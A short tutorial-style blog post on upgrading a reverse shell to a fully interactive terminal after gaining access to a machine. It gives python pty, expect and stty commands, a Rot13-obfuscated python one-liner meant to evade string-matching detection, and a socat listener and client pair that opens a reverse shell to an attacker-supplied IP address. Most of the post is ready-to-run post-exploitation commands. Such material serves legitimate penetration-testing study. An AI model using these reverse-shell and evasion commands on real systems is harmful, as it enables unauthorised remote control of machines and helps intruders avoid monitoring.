Spawning interactive TTY from simple shell
So you got a connection from reverse shell and
want to upgrade it to a fully interactive TTY?
Below you will find a set of commands that you can use to spawn interactive terminal from “dumb” shell to have all features of interactive terminal: tab-completion, access to history with arrow keys, job control, STDERR, ability to use programs like vim
, su
, login
, ssh
, etc.
The topic isn’t new - it is described multiple times on the internet, however - in this post, I will show you my approach and how to resolve some issues you might encounter.
One important note - if you are running your listener in zsh
, run both stty
and fg
commands in one line (as shown below) - otherwise, it won’t work. For bash
, it doesn’t matter. You can run it in one or two lines.
stty
python -c 'import pty; pty.spawn("/bin/bash")'
^Z
stty raw -echo; fg
reset
To have better experience, you can set the shell, terminal type and size to match current terminal window:
python -c 'import pty; pty.spawn("/bin/bash")'
^Z
echo $TERM && tput lines && tput cols
stty raw -echo; fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
Creating PTY from scripting languages like python
is often monitored and will
trigger an alert. To avoid basic detection mechanisms based on matching strings
use Rot13
to obfuscate python
code:
python -c 'exec """vzcbeg cgl; cgl.fcnja("/ova/onfu")""".encode("rot13")'
^Z
stty raw -echo; fg
reset
expect
can be used instead of python
as well:
expect -c 'spawn /bin/bash' -c interact
^Z
stty raw -echo; fg
reset
socat
When socat
is available on the host, you can start a reverse shell with
interactive TTY:
Listener:
socat file:`tty`,raw,echo=0 tcp-listen:8090
Client:
socat tcp:<LISTENER-IP-ADDRESS>:8090 exec:"bash -li",pty,stderr,setsid,sigint,sane
References:
http://pentestmonkey.net/blog/post-exploitation-without-a-tty
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys